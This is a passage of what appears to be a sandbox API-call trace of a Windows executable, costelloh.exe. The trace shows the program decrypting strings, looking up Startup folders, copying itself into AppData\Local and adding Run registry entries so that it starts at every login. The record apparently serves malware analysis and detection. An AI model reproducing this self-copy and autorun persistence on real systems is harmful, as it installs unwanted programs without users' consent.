	[0055.497] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721250
	[0055.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721278
	[0055.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27212a0
	[0055.497] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa70 | out: phKey=0xaffa70*=0xb98e68) returned 1
	[0055.497] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0xaffa58, dwFlags=0x0) returned 1
	[0055.497] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27212a0, pdwDataLen=0xaffa24 | out: pbData=0x27212a0, pdwDataLen=0xaffa24) returned 1
	[0055.497] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0055.497] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27212a0 | out: hHeap=0x2720000) returned 1
	[0055.497] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2721250, nSize=0xf | out: lpDst="") returned 0x1e
	[0055.497] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721278 | out: hHeap=0x2720000) returned 1
	[0055.497] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x3a) returned 0x2721250
	[0055.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x3a) returned 0x2721298
	[0055.497] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27212e0
	[0055.497] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa6c | out: phKey=0xaffa6c*=0xb98e68) returned 1
	[0055.497] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0xaffa54, dwFlags=0x0) returned 1
	[0055.497] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27212e0, pdwDataLen=0xaffa20 | out: pbData=0x27212e0, pdwDataLen=0xaffa20) returned 1
	[0055.497] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0055.497] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27212e0 | out: hHeap=0x2720000) returned 1
	[0055.497] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2721250, nSize=0x1d | out: lpDst="") returned 0x1e
	[0055.497] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721298 | out: hHeap=0x2720000) returned 1
	[0055.497] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721250, Size=0x72) returned 0x2721250
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x72) returned 0x27212d0
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721350
	[0055.498] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa6c | out: phKey=0xaffa6c*=0xb99368) returned 1
	[0055.498] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa54, dwFlags=0x0) returned 1
	[0055.498] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721350, pdwDataLen=0xaffa20 | out: pbData=0x2721350, pdwDataLen=0xaffa20) returned 1
	[0055.498] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721350 | out: hHeap=0x2720000) returned 1
	[0055.498] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x2721250, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e
	[0055.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27212d0 | out: hHeap=0x2720000) returned 1
	[0055.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27212d0
	[0055.498] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa94 | out: phKey=0xaffa94*=0xb99368) returned 1
	[0055.498] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa7c, dwFlags=0x0) returned 1
	[0055.498] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27212d0, pdwDataLen=0xaffa48 | out: pbData=0x27212d0, pdwDataLen=0xaffa48) returned 1
	[0055.498] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x3e) returned 0x2721318
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x3e) returned 0x2721360
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27213a8
	[0055.498] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa6c | out: phKey=0xaffa6c*=0xb99368) returned 1
	[0055.498] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa54, dwFlags=0x0) returned 1
	[0055.498] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27213a8, pdwDataLen=0xaffa20 | out: pbData=0x27213a8, pdwDataLen=0xaffa20) returned 1
	[0055.498] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.498] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x10) returned 0x2721228
	[0055.498] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e8 | out: phkResult=0xaff9e8*=0x224) returned 0x0
	[0055.498] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xaff9e4, lpData=0x2721360, lpcbData=0xaff9ec*=0x3e | out: lpType=0xaff9e4*=0x2, lpData=0x2721360*=0xc8, lpcbData=0xaff9ec*=0x98) returned 0xea
	[0055.498] RegCloseKey (hKey=0x224) returned 0x0
	[0055.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.498] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213a8 | out: hHeap=0x2720000) returned 1
	[0055.499] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721360 | out: hHeap=0x2720000) returned 1
	[0055.499] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721318, Size=0x7a) returned 0x2721318
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x7a) returned 0x27213a0
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721428
	[0055.499] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa68 | out: phKey=0xaffa68*=0xb99368) returned 1
	[0055.499] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0xaffa50, dwFlags=0x0) returned 1
	[0055.499] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721428, pdwDataLen=0xaffa1c | out: pbData=0x2721428, pdwDataLen=0xaffa1c) returned 1
	[0055.499] CryptDestroyKey (hKey=0xb99368) returned 1
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x10) returned 0x2721228
	[0055.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e4 | out: phkResult=0xaff9e4*=0x224) returned 0x0
	[0055.499] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xaff9e0, lpData=0x27213a0, lpcbData=0xaff9e8*=0x7a | out: lpType=0xaff9e0*=0x2, lpData=0x27213a0*=0xc8, lpcbData=0xaff9e8*=0x98) returned 0xea
	[0055.499] RegCloseKey (hKey=0x224) returned 0x0
	[0055.499] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.499] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721428 | out: hHeap=0x2720000) returned 1
	[0055.499] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27213a0 | out: hHeap=0x2720000) returned 1
	[0055.499] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721318, Size=0xf2) returned 0x2721318
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xf2) returned 0x2721418
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27252c8
	[0055.499] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa68 | out: phKey=0xaffa68*=0xb994a8) returned 1
	[0055.499] CryptSetKeyParam (hKey=0xb994a8, dwParam=0x1, pbData=0xaffa50, dwFlags=0x0) returned 1
	[0055.499] CryptDecrypt (in: hKey=0xb994a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27252c8, pdwDataLen=0xaffa1c | out: pbData=0x27252c8, pdwDataLen=0xaffa1c) returned 1
	[0055.499] CryptDestroyKey (hKey=0xb994a8) returned 1
	[0055.499] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x10) returned 0x2721518
	[0055.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e4 | out: phkResult=0xaff9e4*=0x224) returned 0x0
	[0055.499] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xaff9e0, lpData=0x2721418, lpcbData=0xaff9e8*=0xf2 | out: lpType=0xaff9e0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff9e8*=0x98) returned 0x0
	[0055.499] RegCloseKey (hKey=0x224) returned 0x0
	[0055.499] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0055.500] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721518
	[0055.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e4 | out: phkResult=0xaff9e4*=0x224) returned 0x0
	[0055.500] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff9e0, lpData=0x27214b0, lpcbData=0xaff9e8*=0x5a | out: lpType=0xaff9e0*=0x0, lpData=0x27214b0*=0x73, lpcbData=0xaff9e8*=0x5a) returned 0x2
	[0055.500] RegCloseKey (hKey=0x224) returned 0x0
	[0055.500] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9f8 | out: phkResult=0xaff9f8*=0x224) returned 0x0
	[0055.500] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff9f4, lpData=0x27214b0, lpcbData=0xaff9fc*=0x5a | out: lpType=0xaff9f4*=0x2, lpData=0x27214b0*=0x73, lpcbData=0xaff9fc*=0x78) returned 0xea
	[0055.500] RegCloseKey (hKey=0x224) returned 0x0
	[0055.500] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0055.500] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27252c8 | out: hHeap=0x2720000) returned 1
	[0055.500] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721418 | out: hHeap=0x2720000) returned 1
	[0055.500] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2721318, Size=0x1e2) returned 0x2721318
	[0055.500] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e2) returned 0x27252c8
	[0055.500] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27254b8
	[0055.500] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffa68 | out: phKey=0xaffa68*=0xb98da8) returned 1
	[0055.500] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0xaffa50, dwFlags=0x0) returned 1
	[0055.500] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27254b8, pdwDataLen=0xaffa1c | out: pbData=0x27254b8, pdwDataLen=0xaffa1c) returned 1
	[0055.500] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0055.500] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x10) returned 0x2721228
	[0055.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e4 | out: phkResult=0xaff9e4*=0x224) returned 0x0
	[0055.500] RegQueryValueExW (in: hKey=0x224, lpValueName="Startup", lpReserved=0x0, lpType=0xaff9e0, lpData=0x27252c8, lpcbData=0xaff9e8*=0x1e2 | out: lpType=0xaff9e0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff9e8*=0x98) returned 0x0
	[0055.500] RegCloseKey (hKey=0x224) returned 0x0
	[0055.500] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.500] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721228
	[0055.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9e4 | out: phkResult=0xaff9e4*=0x224) returned 0x0
	[0055.501] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff9e0, lpData=0x2725360, lpcbData=0xaff9e8*=0x14a | out: lpType=0xaff9e0*=0x0, lpData=0x2725360*=0xc0, lpcbData=0xaff9e8*=0x14a) returned 0x2
	[0055.501] RegCloseKey (hKey=0x224) returned 0x0
	[0055.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff9f8 | out: phkResult=0xaff9f8*=0x224) returned 0x0
	[0055.501] RegQueryValueExW (in: hKey=0x224, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff9f4, lpData=0x2725360, lpcbData=0xaff9fc*=0x14a | out: lpType=0xaff9f4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff9fc*=0x78) returned 0x0
	[0055.501] RegCloseKey (hKey=0x224) returned 0x0
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27254b8 | out: hHeap=0x2720000) returned 1
	[0055.501] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x2721318, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27252c8 | out: hHeap=0x2720000) returned 1
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27212d0 | out: hHeap=0x2720000) returned 1
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x27252c8
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x27254e0
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x27256f8
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x2725910
	[0055.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27252c8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x2725b28
	[0055.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2725b28, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725b28 | out: hHeap=0x2720000) returned 1
	[0055.501] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x2725b28
	[0055.501] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2725b28, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0055.501] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725b28 | out: hHeap=0x2720000) returned 1
	[0055.501] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), bFailIfExists=0) returned 1
	[0055.513] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xaffafc | out: phkResult=0xaffafc*=0x224) returned 0x0
	[0055.513] RegSetValueExW (in: hKey=0x224, lpValueName="costelloh", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", cbData=0x56 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe") returned 0x0
	[0055.514] RegCloseKey (hKey=0x224) returned 0x0
	[0055.514] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0xaffae8 | out: phkResult=0xaffae8*=0x224) returned 0x0
	[0055.514] RegSetValueExW (in: hKey=0x224, lpValueName="costelloh", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe", cbData=0x56 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe") returned 0x0
	[0055.514] RegCloseKey (hKey=0x224) returned 0x0
	[0055.514] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x118) returned 0x2725b28
	[0055.514] GetLastError () returned 0x0
	[0055.514] SetLastError (dwErrCode=0x0) 
	[0055.514] GetLastError () returned 0x0
	[0055.514] SetLastError (dwErrCode=0x0) 
	[0055.514] GetLastError () returned 0x0
	[0055.514] SetLastError (dwErrCode=0x0) 
	[0055.514] GetLastError () returned 0x0
	[0055.514] SetLastError (dwErrCode=0x0) 
	[0055.514] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.515] GetLastError () returned 0x0
	[0055.515] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.516] GetLastError () returned 0x0
	[0055.516] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.517] SetLastError (dwErrCode=0x0) 
	[0055.517] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.518] GetLastError () returned 0x0
	[0055.518] SetLastError (dwErrCode=0x0) 
	[0055.519] GetLastError () returned 0x0
	[0055.519] SetLastError (dwErrCode=0x0) 
	[0055.519] GetLastError () returned 0x0
	[0055.519] SetLastError (dwErrCode=0x0) 
	[0055.519] GetLastError () returned 0x0
	[0055.519] SetLastError (dwErrCode=0x0) 
	[0055.519] GetLastError () returned 0x0
	[0055.519] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.520] GetLastError () returned 0x0
	[0055.520] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.521] GetLastError () returned 0x0
	[0055.521] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.522] GetLastError () returned 0x0
	[0055.522] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.523] GetLastError () returned 0x0
	[0055.523] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.524] GetLastError () returned 0x0
	[0055.524] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.525] GetLastError () returned 0x0
	[0055.525] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.526] GetLastError () returned 0x0
	[0055.526] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
	[0055.527] SetLastError (dwErrCode=0x0) 
	[0055.527] GetLastError () returned 0x0
